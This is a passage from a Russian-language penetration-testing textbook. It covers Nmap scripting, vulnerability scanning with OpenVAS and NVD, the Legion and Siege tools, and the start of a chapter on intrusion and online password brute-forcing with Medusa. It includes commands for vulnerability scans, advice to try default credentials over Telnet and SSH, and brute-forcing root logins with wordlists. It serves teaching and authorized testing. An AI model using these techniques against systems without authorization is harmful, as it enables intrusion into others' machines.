Глава 10 Активное сканирование Имея эти знания, рассмотрим пример. Сетевой администратор вашей цели настроил простой брандмауэр, чтобы никто извне сети не мог подключиться к системе. Вас наняли в качестве этичного хакера для сканирования системы. С помощью TCP-соединения ничего не обнаруживается. С применением знаний из этой главы вы продолжаете работу с UDP-, «елочным» и нулевым сканами. С помощью «елочного» и нулевого сканов вы обнаруживаете открытые порты на целевой системе. Причина в том, что Nmap создает пакеты, у которых не установлен флаг SYN. В то время как фильтр отклоняет только входящие пакеты с установленным флагом SYN, пакеты «елочного» и нулевого сканирований проходят через фильтр. 10.3.2 Nmap Script Engine — трансформация инструмента Nmap — отличное средство: зрелое, стабильное и хорошо документированное. Оно также поддерживается активным сообществом. С помощью Nmap Script Engine (NSE) инструмент получает новые возможности и выходит на новый уровень. Это мощное дополнение к классическому инструменту, которое выводит функциональность за пределы обычных сканирований портов. Для того чтобы использовать Nmap наилучшим образом, необходимо освоить использование NSE. При правильной его настройке можно выполнять широкий спектр задач, таких как сканирование уязвимостей, расширенное определение сети и обнаружение скрытых доступов. Совет Сообщество NSE очень активное и открытое. Новые скрипты и навыки добавляются постоянно. Поэтому, если вы создали что то новое с помощью NSE, обязательно поделитесь своей работой с другими. ‑ Скрипты NSE разделены на следующие категории для лучшего обзора: ◾ Auth (аутентификация). ◾ Broadcast (передача данных). ◾ Brute (хакерская техника — многократный перебор разных комбинаций паролей или ключей шифрования). ◾ Default (значение по умолчанию). ◾ Discovery (процесс, который фокусируется на изучении и понимании требований клиента). ◾ Dos. ◾ Exploit. ◾ External. ◾ Fuzzer ◾ Intrusive. 196
10.3 Portscan ◾ ◾ ◾ ◾ Malware. Safe. Version. Vuln. Каждая категория может быть разделена на отдельные скрипты, которые выполняют определенные функции. Тестировщики на проникновение могут запускать скрипты по отдельности или целую категорию, включающую несколько скриптов. Прежде чем использовать категорию или скрипт против цели, обязательно ознакомьтесь с документацией 44 к ним. Для использования NSE и скриптов не нужно устанавливать или настраивать ничего дополнительно: они уже интегрированы в Nmap. Если вы хотите вызвать NSE, введите в качестве аргумента —script, за которым следует название нужной категории или скрипта и IP-адрес: sudo nmap —script banner 192.168.178.20 Скрипт баннера может установить соединение с TCP-портом и отобразить в локальном терминале любой вывод, поступающий от целевой системы. Это полезно для распознавания нераспознанных служб или скрытых портов. Можно вызвать целую категорию скриптов, указав ее название после —script: sudo nmap —script vuln 192.168.178.20 При использовании категории vuln выполняется ряд скриптов, которые ищут известные уязвимости в целевой системе. Результат генерируется только в том случае, если уязвимость найдена. Функция vuln в NSE — отличное введение для последующего сканирования уязвимостей. На рис. 10.7 показан результат сканирования vuln с использованием Metasploitable в качестве цели. В этом выпуске вам следует обратить особое внимание на любые записи или ссылки CVE 45- или OSVDB 46. Мы вернемся к этой теме в разделе 11.2, где речь пойдет об эксплуатации уязвимостей. Пока же достаточно отметить, что вам нужно делать заметки и документировать полученные результаты. 44 45 46 http://nmap.org/nsedoc Common Vulnerabilities. Open Source Vulnerability Database. 197
Глава 10 Активное сканирование Рис. 10.7. Результаты сканирования NSE с категорией vuln 10.3.3 Полное сканирование портов В предыдущем разделе были описаны основы сканирования портов. Теперь вам следует ознакомиться с несколькими дополнительными опциями, которые расширяют функциональность и могут быть полезны вам в будущем. Опция -sV, как вы уже знаете, используется для сканирования версий. При этом Nmap отправляет пакеты на открытые порты, чтобы получить более точную информацию о службе, которая на них работает. Nmap выводит такие данные, как номер версии службы и т. д. Запишите их, особенно если речь идет о необычных или неожиданных портах: опытный администратор мог переместить свой веб-сервер на порт 2G155, чтобы скрыть службу. В Nmap также можно изменять скорость сканирования портов. Значения параметра времени -T варьируются от 0 до 5, где 0 — самый медленный скан, а 5 — самый быстрый. Использование этой опции может быть полезно. Если сканирование выполняется медленно, это поможет избежать его обнаружение. Быстрое сканирование может быть необходимым, если у вас ограничено 198
10.3 Portscan время или нужно проверить много хостов. При использовании этой опции нужно учитывать, что она может повлиять на точность результатов. Nmap будет давать менее точные результаты, если выбрать максимальную скорость сканирования. С помощью опции -O вы можете получить отпечаток ОС. Это особенно полезно, если вы хотите выяснить, является ли ваша цель компьютером под управлением Windows, Linux или другого типа ОС. Знание того, какая система используется на целевой машине, экономит время хакеру, поскольку позволяет сосредоточиться на известных уязвимостях. Нет смысла пробовать эксплойты для Windows, если целевая система работает только под Linux. По окончании сканирования портов вашей цели у вас должен быть список открытых портов и связанных с ними служб. Эту информацию нужно задокументировать и тщательно проанализировать. При анализе результатов Nmap всегда уделяйте достаточно времени для входа в любые службы удаленного доступа, предоставленные в результате сканирования портов. Такие входы можно выполнить с помощью инструментов грубой силы. Однако перед этим вы можете попробовать стандартные имена пользователей и пароли для такого входа или любую другую информацию, которые вы определили на этапе разведки. Есть вероятность, что вы сможете завершить тест на проникновение, найдя открытое удаленное соединение и войдя в него с помощью стандартного имени пользователя и пароля. Telnet и SSH — чрезвычайно прибыльные сервисы такого типа, к которым обязательно нужно попробовать подключиться. ­ Это можно сделать следующим образом: telnet Target-IP-Address ssh root@Target-IP-Address ­ ­ Даже если эти попытки часто оказываются безуспешными, стоит попробовать. Если у вас получится, значит, вы сорвали джекпот! 10.4 Автоматизация сбора информации с помощью legion legion — это Python-приложение с графическим интерфейсом, которое помогает при тестировании на проникновение в сети на этапах сканирования и перечисления. Это форк (ответвление) инструмента Sparta, который был включен в предыдущие версии Kali Linux. Вы можете получить доступ к его набору инструментов с помощью кликов мыши, что удобно отображает все результаты. Это позволяет тратить меньше времени на настройку команд и инструментов и больше времени на анализ полученных данных. ­ Sparta можно запустить через меню приложений (вы найдете его в разделе «Информационный сбор» и «Анализ уязвимостей») или с помощью команды legion в терминале. При первом запуске откроется основное окно, в котором 199
Глава 10 Активное сканирование вы увидите рабочее пространство. Сначала раздел Host будет пустым. Вы можете импортировать файл с результатами сканирования Nmap, если в левом разделе нажмете на текст Click Here To Add Host(S) To Scope, чтобы добавить хост(ы). Рис. 10.8. Добавление хостов в Legion После того как вы нажмете на Click Here To Add To Scope, начнется сканирование Nmap, и в разделе протокола будет отображаться индикатор прогресса. По умолчанию сканирование Nmap довольно тщательное и займет некоторое время. Как только Sparta найдет несколько хостов и портов, будут запущены дополнительные инструменты для обнаруженных сервисов: Nikto, Snmpcheck и т. д. Когда вы выбираете хост на вкладке HOST, отображаются вкладки для отдельных сканирований, выполняемых на этом хосте (включая скриншоты всех найденных веб-серверов). 200
10.5 Сканирование уязвимостей Рис. 10.9. Пример сканирования хоста с использованием дополнительных инструментов Сервисы, требующие входа в систему, такие как Telnet, SSH, HTTP и т. д., могут быть отправлены в инструмент грубой силы для попытки взлома пароля. После передачи настроек можно использовать Sparta для атаки на пароль root через SSH с помощью заранее определенного списка слов. Sparta предлагает еще больше функций, чем я описал, и стоит познакомиться с ними поближе. Они автоматизируют многие скучные задачи и могут сэкономить массу времени во время тестирования на проникновение. 10.5 Сканирование уязвимостей Хакеру нужно уметь выявлять уязвимости в целевой системе. С помощью эксплойтов их можно использовать для захвата. Хотя может казаться, что сетевые соединения работают исправно, не спешите с выводами о безопасности сети. В каждой сети есть уязвимость, которую 201
Глава 10 Активное сканирование могут использовать хакеры и другие злоумышленники. В рамках тестирования на проникновение вам следует найти слабые места, чтобы минимизировать их как можно лучше. Для этого используются сканеры уязвимостей. Системы управления уязвимостями могут помочь не только IT-администраторам, но и вам как хакеру: ◾ Идентификация уязвимостей — позволяет выявить пробелы в безопасности сети, на рабочих станциях, в серверах, файерволах, точках доступа и т. д. ПО работает автоматически, чтобы обнаружить как можно больше уязвимостей. ◾ Оценка рисков — не все уязвимости одинаково опасны. Сканирующие инструменты классифицируют и категоризируют их, чтобы вы могли быстро выявить наиболее серьезные проблемы. ◾ Реагирование на проблемы — как только вы выявите самые критичные уязвимости, вы можете попытаться их использовать и предложить заказчикам меры для их устранения. 10.5.1 Типы сканирования и обнаружения уязвимостей Для сканирования уязвимостей есть несколько подходов. Рекомендуется попробовать различные виды сканирования в рамках теста на проникновение: тестирование с разных перспектив может дать хорошее представление о текущей ситуации. Различие сканирований в основном происходит по двум аспектам: местоположение (внутреннее или внешнее) и диапазон. ◾ Внутренние против внешних: ◾ При внутреннем сканировании осуществляется поиск угроз в локальной сети. Таким образом, вы можете выявить уязвимости внутри сети. Рекомендуется проводить сканирование не только как администратор, но и как пользователь. Это позволит вам определить, имеют ли доверенные пользователи или те, кто имеет доступ к сети, доступ к уязвимостям. ◾ У внешнего сканирования свои преимущества. Оно предоставляет оценку с точки зрения интернета, из которого происходят многие угрозы, связанные с преднамеренными и/или автоматизированными атаками. Сканируйте сеть, как злонамеренный хакер, чтобы понять, какие данные могут увидеть несанкционированные пользователи, имеющие доступ к сети. ◾ Всесторонние против ограниченных: ◾ Всестороннее сканирование обычно охватывает все типы устройств, присутствующие в сети, включая серверы, настольные ПК, виртуальные компьютеры, ноутбуки, мобильные телефоны, принтеры, контейнеры (например, Docker), файерволы, коммутаторы и точки 202
10.5 Сканирование уязвимостей доступа. В процессе сканируются операционные системы, установленное ПО, открытые порты и данные учетных записей пользователей. Такие сканирования обычно требуют большого объема трафика и повышают риск обнаружения. ◾ Ограниченное сканирование часто фокусируется только на определенных типах устройств, таких как рабочие станции или ПО, с целью получения конкретного профиля безопасности. 10.5.2 Что делают инструменты сканирования уязвимостей? С учетом множества угроз, которые появляются в сетях и веб-приложениях, вам поручено провести тест на проникновение. Выявление уязвимостей — важная задача для хакеров. Для этого рекомендуется использовать инструменты сканирования уязвимостей для обнаружения угроз. Независимо от того, какой инструмент сканирования вы выберете, следует убедиться, что он как минимум выполняет следующие функции. Обнаружение. Первый шаг сканирования уязвимостей — выявить слабые места по всей сети. Это выполняется с помощью инструмента, который фиксирует уязвимости и может даже использовать их, пока сканирует поверхность атаки. Некоторые сканеры уязвимостей могут также обнаружить отсутствующие обновления ПО или прошивки. Классификация уязвимостей. Это необходимо для расстановки приоритетов и выбора способа дальнейших действий. К уязвимостям могут относиться аномалии пакетов, отсутствующие обновления, ошибки скриптов и многое другое. Для приоритизации угроз обычно используется комбинация длительности существования уязвимости и вычисленного уровня риска. Многие инструменты сопоставляют обнаруженные уязвимости с обновленными базами данных известных рисков, такими как Национальная база уязвимостей (NVD) и Общие уязвимости и слабые места (CVE). 10.5.3 Какие сканеры уязвимостей существуют? Есть много разных сканеров уязвимостей, платных и бесплатных. Вам также стоит попробовать инструменты, которые я не буду подробно описывать в этой книге. В списке вы найдете обзор бесплатных инструментов, которые можно использовать для поиска уязвимостей и их эксплуатации. ◾ Nmap — классика среди инструментов с открытым исходным кодом. Его можно использовать для базового ручного управления уязвимостями. Инструмент отправляет пакеты и читает ответы, чтобы обнаруживать хосты и сервисы в сети. Обзор обнаружения хостов я уже описал в разделе 10.3.1. С помощью скриптов Nmap также может выполнять более сложное обнаружение уязвимостей. Для работы с ним необходимы очень хорошие знания командной строки, так как у него нет интуитивно 203
Глава 10 Активное сканирование понятного интерфейса, который позволял бы легко запускать сканирования или интерпретировать их результаты. Этот инструмент практически идеален для экспертов, но для новичков, конечно, неудобен. ◾ OpenVAS — «Open Vulnerability Assessment System» (Система оценки уязвимостей OpenVAS) — фреймворк, состоящий из разных сервисов для управления слабыми местами. Тесты на уязвимость из ленты безопасности обновляются ежедневно. Этот сканер уязвимостей предназначен для Linux-окружений и подходит опытным пользователям, которые хотят проводить целевые сканирования или тесты на проникновение. Работе с этим инструментом нужно научиться. С 2006 года OpenVAS поддерживается компанией Greenbone Networks, которая также предлагает платный продукт с регулярными обновлениями, гарантией обслуживания и поддержкой клиентов. Работа с OpenVAS более подробно описана в разделе 10.5.5. ◾ Qualys Community Edition. Этот бесплатный облачный сервис предлагает упрощенную версию облачной платформы Qualys, так как может сканировать только до 1 ГБ внутренних данных, три внешних ресурса и один URL-адрес без ограничений. Он оснащен многими функциями полного инструмента: платформа использует данные более трех миллиардов сканирований уязвимостей в год. Преимущество Qualys Community Edition — возможность поиска результатов сканирования и создания гибких отчетов. ◾ Burp Suite Community Edition — бесплатная версия инструмента для оценки уязвимостей в интернете, которая также доступна в платных вариантах для Enterprise и Professional. Для IT-специалистов, которые хотят вручную управлять веб-сканированием уязвимостей, это хороший инструмент. Вы можете управлять запросами и ответами (перехватывать и редактировать их), добавлять комментарии к записям и использовать правила для проверки и замены, чтобы применить настройки. Вы можете контролировать правила в деталях, получать информацию о карте сайта, просматривать статические аналитические диаграммы и получать доступ к бесплатным расширениям от сообщества пользователей. Те, кто хочет создать собственный инструмент для веб-сканирования, могут воспользоваться Burp как мощным бесплатным вариантом. 10.5.4 Оценка результатов сканирования с помощью баз данных уязвимостей Данные, полученные в результате сканирования, должны быть помещены в контекст, полезный вам как хакеру. Цель — найти доступные уязвимости для заданного номера версии протокола или сервера. Обычно для уязвимости существует эксплойт. 204
10.5 Сканирование уязвимостей Эту информацию обычно можно найти с помощью Google. Однако есть и специализированные базы данных типа NVD 47. Рис. 10.10. Страница поиска в базе данных (NVD) от NIST Если в поиске ввести, например, «Windows Server 2022», то будет показан результат поиска, как на рис. 10.11. Результаты здесь отсортированы по дате публикации. В конце записи указывается CVSS 48: он показывает, насколько критична уязвимость. Для каждой можно увидеть дополнительные детали, щелкнув по номеру CVE. Детали для CVE 2022–45141 показаны на рис. 10.12. ‑ 47 48 https://nvd.nist.gov/ Система оценки общих уязвимостей (CVSS) используется для оценки степени серьезности уязвимостей в компьютерных системах. CVSS оцениваются по различным критериям и сравниваются друг с другом, чтобы можно было составить список приоритетных мер противодействия. CVSS не является системой для предупреждения об уязвимостях, а представляет собой стандарт, который делает различные системы описания и измерений совместимыми и понятными. 205
Глава 10 Активное сканирование Рис. 10.11. Результат поиска для Windows Server 2022 Уязвимость описана здесь. При аутентификации серверов используется более низкое шифрование, хотя цель может обрабатывать и более качественное. Есть и другие базы данных, например, https://www.cvedetails.com/. Они также указывают, существует ли модуль Metasploit для данной уязвимости. Если он есть, на него также дается ссылка в описании. 206
10.5 Сканирование уязвимостей Рис. 10.12. Подробности CVE 2022–45141 ‑ 10.5.5 OpenVAS — обнаружение уязвимостей в системе безопасности OpenVAS — это незаменимый инструмент для проверки безопасности, поэтому в главе 5 я уже показал, как его установить и настроить. Если нужно сканировать собственную IT-инфраструктуру, вы можете автоматизировать задачи сканирования, чтобы они выполнялись регулярно. Это позволит вам получить хороший обзор отдельных компьютеров и быть в курсе того, стали ли известны новые уязвимости в системе безопасности и какие компьютеры нуждаются в обновлении. 207
Глава 10 Активное сканирование Тот факт, что вы не нашли слабое место во время тестирования, не означает, что вы будете в безопасности в будущем: IT-безопасность — это непрерывный процесс! Новые уязвимости безопасности появляются каждый день, поэтому для достижения приемлемого уровня безопасности необходимо устанавливать обновления и постоянно следить за системами. Такие инструменты, как OpenVAS, — очень полезные помощники, особенно в небольших компаниях, у которых нет настоящего администратора или где сотрудник или шеф выполняет эти задачи на стороне. Даже менее опытные злоумышленники любят этот инструмент, потому что он избавляет их от большого количества работы. OpenVAS может сделать еще больше в качестве сканера. Если у вас есть данные доступа к персональному компьютеру, как это обычно бывает у администраторов, OpenVAS также может подключаться к компьютеру, получать доступ к файлам конфигурации и искать неправильные, которые могут быть использованы для атаки. Это преимущество, которого нет у злоумышленника. Но и без этой функции с очень высокой вероятностью можно выявить различные точки атаки, особенно если система плохо обслуживается. Предупреждение Сканеры уязвимостей, такие как OpenVAS, могут сканировать системы только на наличие известных пробелов в безопасности. Разумеется, уязвимости/эксплойты нулевого дня 49 еще не числятся в базах данных этих инструментов. Тот факт, что OpenVAS или другие подобные инструменты ничего не нашли, не значит, что вы в безопасности или что в системе нет пробелов. Это всего лишь снимок, который в ближайшем будущем может выглядеть иначе. Первое сканирование с помощью OpenVAS Прежде чем использовать OpenVAS, необходимо запустить службы для него. Это делается с помощью следующей команды: openvas-start ­ Если запуск не удался и появилось сообщение об ошибке, самое простое решение — настроить OpenVAS еще раз. openvas-setup ­ 49 208 Эксплойты нулевого дня — новые уязвимости в системе безопасности, о которых производитель еще не знает и поэтому они не исправлены.
10.5 Сканирование уязвимостей Пароль, созданный при первоначальной настройке, остается неизменным. Однако настройка занимает довольно много времени. После этого вы можете открыть OpenVAS с помощью браузера: http://127.0.0.1:9392 Рис. 10.13. OpenVAS — запуск или запрос сканирования На экране входа в систему войдите в систему под пользователем admin и выбранным паролем. Перейдите к пункту Tasks в меню Scan. Здесь перечислены все старые сканирования и можно создать новые. ­ Рис. 10.14. Новое сканирование с помощью OpenVAS Под навигационной панелью веб-интерфейса вы найдете три кнопки. Наведите курсор мыши на кнопку со звездочкой, чтобы открыть меню, показанное на рис. 10.15. В первую очередь присвойте задаче максимально понятное имя в поле «Название». Под ним будут сохранены сканы. Чем лучше имя вы выберете заранее, тем больше у вас будет ясности позже. ­ 209
Глава 10 Активное сканирование Рис. 10.15. Создание новой задачи сканирования в OpenVAS Как уже говорилось, можно проводить периодическое автоматическое сканирование, которое можно запланировать в Schedule. Один из наиболее важных пунктов — Scan Targets. Здесь вы можете выбрать существующие цели или создать новую цель сканирования, нажав на звездочку справа от выпадающего меню. Здесь же следует присвоить уникальное имя. Важно, чтобы вы помнили, что скрывается за ним, даже через несколько дней или недель. Вы можете вручную ввести IP-адрес (например, 1G2.1G8.178.20) или диапазон IP-адресов (например, 1G2.1G8.178.1–254). У хостов, доступных через интернет и, следовательно, обычно находящихся за брандмауэром, может произойти сбой теста, даже если хост онлайн, так как брандмауэр отбрасывает необходимые пакеты. В этом случае вы можете протестировать различные параметры в разделе Alive Test на целевом устройстве или принудительно выполнить сканирование с помощью параметра Consider Alive, аналогичному -Pn в Nmap. 210
10.5 Сканирование уязвимостей Если вы предпочитаете сканировать свой веб-сайт, лучше предварительно уведомить хостинг-провайдера. Вероятно, администратор заметит эту активность и отправит провайдеру сообщение об злоупотреблении. Многие провайдеры впоследствии заблокируют доступ к сети. Кроме того, сканирование может перегрузить систему и привести к ее сбоям, что может повлечь за собой требования о возмещении ущерба, а в худшем случае — уголовное преследование. ­ Такие действия не рекомендуются без предварительного согласия владельца сервера или сети. Хакеры обычно меньше беспокоятся об этом, поскольку они запускают свои атаки через анонимные VPN-сети 50 или со взломанных компьютеров или сетей Wi-Fi, и поэтому их трудно обнаружить. Или они находятся в странах, где такие атаки не преследуются по закону. В пунктах SSH или SMB и т. д. вы можете ввести данные для входа в систему и подключения к хостам, чтобы OpenVAS мог искать ошибки в файлах конфигурации. Эти опции есть у администраторов, но не у злоумышленников. ­ После того как вы создали цели с помощью Create, вернитесь к исходному диалоговому окну и прокрутите вниз. Особенно интересна настройка Scan Config. Чем обширнее сканирование, тем полнее и точнее результаты. Настройка Full And Very Deep Ultimate — это очень обширный процесс сканирования, но и очень громкий. Каждую дверь (порт) громко трясут и пытаются вскрыть ломом. До тех пор, пока нет администратора, просматривающего файл журнала, и нет IPS, вы будете вознаграждены наилучшей возможной информацией. Более продвинутые злоумышленники будут использовать более целенаправленное сканирование, чтобы не привлекать столько внимания. Нажмите кнопку Create, чтобы создать новую задачу, которая отобразится в нижней части страницы в обзоре задач. Здесь вы можете увидеть все ранее созданные команды и запустить их вручную, приостановить выполнение тестов, редактировать, дублировать и удалять задачи. Чтобы начать, нажмите на зеленую кнопку воспроизведения. Страница автоматически перезагружается через регулярные промежутки времени, чтобы вы были в курсе хода выполнения задания. Для такого сканирования требуется терпение: в зависимости от количества сканируемых компьютеров оно может занять от нескольких минут до нескольких часов. 50 VPN (VPN-сервис) — с ноября 2022 г. на территории Российской Федерации запрещено распространять информацию о VPN-сервисах с целью доступа к запрещенному контенту. Научная, научно-техническая и статистическая информация о VPN-сервисах для обхода блокировок признана запрещенной в России, исключением является информация о VPN для обеспечения защищенного удаленного доступа. — Прим. ред. ­ 211
Глава 10 Активное сканирование Рис. 10.16. Результат проверки OpenVAS После завершения сканирования вы можете увидеть полосу под Severity — «уровень угрозы». На рисунке 10.16 можно увидеть средний уровень угрозы. Показанный уровень зависит от самых серьезных опасностей. Здесь ни одна из найденных угроз не особенно опасна. 10.6 Siege — проверка производительности веб-сайтов Siege — это инструмент для тестирования и оценки регрессий HTTP/HTTPS. Инструмент был разработан, чтобы позволить веб-разработчикам измерить производительность своего кода под давлением и увидеть, как он может быть доступен в интернете. Siege позволяет симулировать настраиваемое количество пользователей, обращающихся к серверу. Критерии, используемые для оценки производительности, включают: ◾ ◾ ◾ ◾ время, необходимое для завершения теста; объем переданных данных (включая заголовок); время отклика веб-сервера; пропускная способность. Результаты оцениваются количественно и сообщаются в конце каждого прогона. Их значение и значимость будут описаны позже. Выполнение теста состоит из трех компонентов: регрессии, имитации интернета и грубой силы (Brute Force). Siege может считывать большое количество URL-адресов из файла конфигурации и проходить их последовательно (регрессия) или случайным образом (имитация интернета). Или вы можете просто ввести один URL-адрес с конфигурацией времени выполнения в терминале (грубая сила). Чтобы запустить инструмент, введите в терминале URL-адрес siege <Option>. В качестве примера можно привести некоторые опции: ◾ -v или -verbose. Подробный вывод. При выборе этого параметра на экран выводится информация о транзакции: тип протокола HTTP, код возврата и запрашиваемая страница. Этот параметр полезен для отображения прогресса в режиме регрессии или моделирования в виде диаграммы. ◾ -i или -internet. Этот параметр используется в сочетании с файлом конфигурации. При использовании этого параметра каждый раз вызывается один из URL-адресов из списка. ◾ -f или -file. С помощью этого параметра вы можете использовать файл конфигурации, отличный от стандартного файла конфигурации. ◾ -l или -log. Этот параметр записывает статистику в журнал /var/log/ siege. 212
10.7 Как вы можете практиковать эти действия? log. Каждая новая запись статистики добавляется в журнал. 10.6.1 Конфигурация Для нагрузочного тестирования с Siege есть файл конфигурации, в котором можно сохранить большинство параметров командной строки. Это упрощает процесс проведения нагрузочного теста и помогает гарантировать, что каждый из проходов будет выполнен с точно такими же настройками. Siege поддерживает следующие форматы URL: ◾ protocol:// ◾ servername.domain.tl: portnumber ◾ /directory/file Сейчас в качестве протоколов поддерживаются только HTTP и HTTPS, причем HTTP — стандартный протокол и поэтому не требует никаких спецификаций. Чтобы провести регрессионный тест или эффективную симуляцию интернета, необходимо запустить URL-адреса на сервере, который хотите протестировать. Для этого поместите URL в файл конфигурации, который можно найти в каталоге /etc/siege/ url.txt. В файле должна быть одна строка для каждого URL. File Edit View Search Get Help Exit Write Out Read File Terminal Help File Edit View Search 22 lines written Where Is Replace Cut Text Paste Text Justify To Spell Terminal Help Cursor Go To Line Рис. 10.17. Конфигурационный файл Siege и зауск Siege 10.7 Как вы можете практиковать эти действия? Самый простой способ для сканирования портов — это настроить два компьютера или использовать виртуальные машины в качестве целевых систем. Таким образом, вы можете протестировать различные варианты и типы сканирования, которые я описал в этой главе. Вы должны отсканировать как Linux, так и Windows-цели, чтобы увидеть различные результаты. При этом всегда сравнивайте выходные данные каждого сканирования. 213
Глава 10 Активное сканирование Чтобы убедиться, что на целевых системах есть открытые порты, стоит установить на тестовые системы некоторые службы или программы, такие как FTP, Webserver, Telnet, SSH. Если вы новичок в сканировании портов, вы можете спрятать цель с неизвестным IP-адресом в подсети, а затем попытаться найти ее. Найдя систему, выполните полное сканирование ее портов. 10.8 Каковы дальнейшие действия? В этом разделе вы познакомились с основами Nmap и OpenVA S. Теперь вам следует рассмотреть дальнейшие варианты обоих инструментов: мы лишь коснулись поверхности. Один из возможных источников знаний о Nmap — книга «Nmap Network Scanning: Официальное руководство проекта Nmap по обнаружению сетей и сканированию безопасности» Гордона Лиона. Желательно иметь дело с опциями и параметрами инструмента. Кроме того, OpenVAS включает множество дополнительных функций. Ознакомьтесь с различными сканами и параметрами правил, а также более подробно изучите NSE. Доступно множество категорий и скриптов, которым вы можете посвятить свое время. В качестве целевой системы используйте виртуальные машины с Metasploit и Windows, на которых вы можете протестировать различные скрипты и ознакомиться с результатами. В конце концов, попробуйте создать собственные NSE-скрипты, чтобы еще больше расширить существующие возможности. Если вы знакомы с инструментами, не помешает посмотреть на другие. Есть много хороших сканеров портов. Выберите еще несколько, установите и узнайте, как они работают. Также стоит обратить внимание на коммерческие программы, такие как Metasploit Pro, CANVAS или Impact. Это не чистые сканеры уязвимостей, но они предлагают отличные компоненты для обнаружения слабых мест. Правда, они платные. 10.9 Резюме В этой главе мы изучили фазу сканирования. Вы получили общее представление о Pings, узнали больше о сканировании портов и уязвимостей. С помощью сканера портов Nmap вы выполняли различные типы сканирования, а затем рассмотрели результаты и попытались интерпретировать вывод Nmap. Вы увидели, как выглядит сканирование слабых мест на примере OpenVA S.
Глава 11 Вторжение через локальную сеть Если говорить просто, то при проникновении пытаются получить контроль над системой. Хотя этот этап также называют «эксплуатацией» (то есть «использованием» уязвимостей), следует помнить, что не каждый эксплойт приводит к полному захвату целевой системы. Хороший пример — эксплойт Oracle Padding. С его помощью можно получить информацию и загрузить данные, но вы не добьетесь полного контроля над системой. Эксплойт дает проскользнуть через уязвимость безопасности или обойти меры предосторожности. Этот процесс может принимать самые разные формы, но я предполагаю, что цель всегда одна и та же — административный доступ к компьютеру. Вторжение пытается превратить целевой компьютер в марионетку, чтобы выполнять ваши команды и желания. Вторжение — это процесс использования эксплойта для эксплуатации уязвимости. Она может заключаться в проблемах или ошибках в коде ПО, которые позволяют хакерам доставить или выполнить полезную нагрузку к цели. Полезные нагрузки — программы, используемые для захвата контроля над целевым компьютером. Это позволяет изменить исходную функциональность системы и выполнять различные действия, например, устанавливать новое ПО, отключать работающие службы, добавлять новых пользователей или создавать бэкдоры в взломанной системе. Из всех этапов теста на проникновения в систему эта тема больше всего интересует начинающего хакера. Этому этапу уделяется наибольшее внимание, так как он охватывает многие действия, обычно ассоциируемые со «взломом» и тестированием на проникновение. Благодаря фильмам о хакерах и современным сказкам о чудесах хакинга у многих новичков складывается ложное представление о фазе вторжения. ‑ Это не значит, что вторжение менее захватывающее или увлекательное. Но это и не всепоглощающая массовая атака, которую вы видите в типичных хакерских фильмах. Но если этап вторжения прошел успешно, то в этом действительно есть что то захватывающее. Фаза проникновения — самая широкая из всех. Для этого этапа написано множество книг, посвященных процессу внедрения и эксплуатации уязвимостей. Однако следует соблюдать осторожность: есть хорошие книги, но и они могут содержать дезинформацию. Широкий спектр подходов, инструментов и вариантов процесса часто вызывает путаницу и хаос. Отсутствие порядка и структуры может расстраивать новичков в тестировании на проникновение и приводить к неудачам. Новички часто узнают из книги или лекции 215
Глава 11 Вторжение через локальную сеть о новых инструментах или передовых методах, которые можно использовать для получения доступа к системе, а затем сразу переходят к этапу 3. Помните, что тест на проникновение — это нечто большее, чем просто фактическая попытка вторжения или захвата системы. Никогда не забывайте выполнять первые два шага — уточнение масштаба и получение разрешений — прежде чем переходить к этапу вторжения, как бы ни было заманчиво их пропустить. Это важно для вашего развития как хакера. Важно Тест на проникновение включает в себя нечто большее, чем просто фактическую попытку проникновения. Структура тестирования на проникновение, показанная в этой главе, может помочь избежать многих проблем. Фаза вторжения — самая сложная фаза, которую мы рассмотрим. Причина проста: каждая система отличается, и каждая цель уникальна. Траектория атаки зависит от большого количества факторов и поэтому варьируется от цели к цели. Разные ОС, сервисы и процессы требуют разных типов атак. Опытный хакер знает нюансы различных систем, в которые пытается проникнуть. По мере увеличения количества тестов на проникновение увеличивается и ваше знание систем и их уязвимостей. Рано или поздно вы обнаружите и напишете собственные эксплойты. Вы можете использовать результаты предыдущих шагов как руководство, чтобы определить отправную точку для попыток вторжения. Результаты сканирования помогают планировать, нацеливать и направлять атаки. 11.1 Доступ к удаленным сервисам В ваших записях IP-адресов цели особенно интересны адреса компьютеров, выполняющих какой то вид удаленного доступа: в частности, такие услуги, как SSH, Telnet, FTP, PCAnywhere, VNC и RDP. Доступ к одному из этих сервисов часто приводит к полному поглощению целевой системы. Если хакер обнаружил один из них, он может использовать онлайн-взломщик паролей. В данной книге я определяю это как атакующую технику, которая включает в себя взаимодействие с активным сервисом, таким как SSH или Telnet. С этой целью используется список комбинаций паролей и пользовательских данных, чтобы получить доступ к системе (нападение Брута). В методах определения паролей не нужно запускать соответствующую службу. Здесь хеш паролей подвергается непосредственной атаке. ‑ ­ 216
11.1 Доступ к удаленным сервисам Использование онлайн-взлома увеличивает шансы на успех, если вы применяете информацию с первого этапа, особенно если он содержит найденные логины и пароли. Во время онлайн-взлома учетные данные передаются в целевую программу. Если учетные данные неверны, вход в систему завершается неудачей, и программа получает сообщение об ошибке. Это повторяется до тех пор, пока она не найдет правильную комбинацию логина и пароля или пока все возможности не будут исчерпаны. Хотя этот процесс компьютер может очень хорошо выполнить, в целом он медленный: каждая комбинация учетных данных должна быть опробована индивидуально. ­ ­ Примечание Некоторые системы удаленного доступа используют методы регулирования, чтобы ограничить количество неудачных входов в систему. Если максимальное количество попыток будет превышено, IP-адрес или пользователь будут заблокированы. Есть разные инструменты для взлома паролей в интернете. Medusa и Hydra — примеры наиболее популярных из них. Поскольку они очень похожи, в следующем разделе мы рассмотрим только Medusa. Однако вам также следует ознакомиться с Hydra. 11.1.1 Medusa Medusa описывается как параллельный инструмент грубой силы для входа в систему, который пытается получить доступ к удаленным службам аутентификации. Инструмент может проверить подлинность большого количества удаленных сервисов, включая: ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ AFP — Apple Filing Protocol; FTP — File Transfer Protocol; HTTP — HyperText Transfer Protocol; IMAP — Internet Message Access Protocol; Microsoft SQL; MySQL; NCP — NetWare Core Protocol; NNTP — Network News Transfer Protocol; PCAnywhere; POP3; REXEC; RLOGIN; SMTP — Simple Mail Transfer Protocol; SNMP — Simple Network Management Protocol; SSHv2; 217
